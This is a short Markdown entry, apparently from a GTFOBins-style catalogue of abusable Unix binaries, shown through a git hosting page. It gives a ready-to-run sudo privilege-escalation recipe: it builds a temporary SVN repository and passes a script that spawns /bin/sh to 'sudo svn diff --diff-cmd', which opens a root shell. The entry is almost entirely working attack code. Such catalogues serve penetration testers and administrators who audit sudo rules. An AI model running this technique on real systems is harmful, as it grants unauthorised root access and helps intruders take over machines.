12 lines
269 B
Markdown
Raw Normal View History

2024-11-11 20:56:46 +00:00
---
functions:
sudo:
- code: |
TD=$(mktemp -d)
svnadmin create $TD/pwn
svn checkout file:///$TD/pwn $TD/project
echo -e '#!/bin/bash\n/bin/sh' > $TD/shell
chmod +x $TD/shell
sudo svn diff --diff-cmd "$TD/shell"
---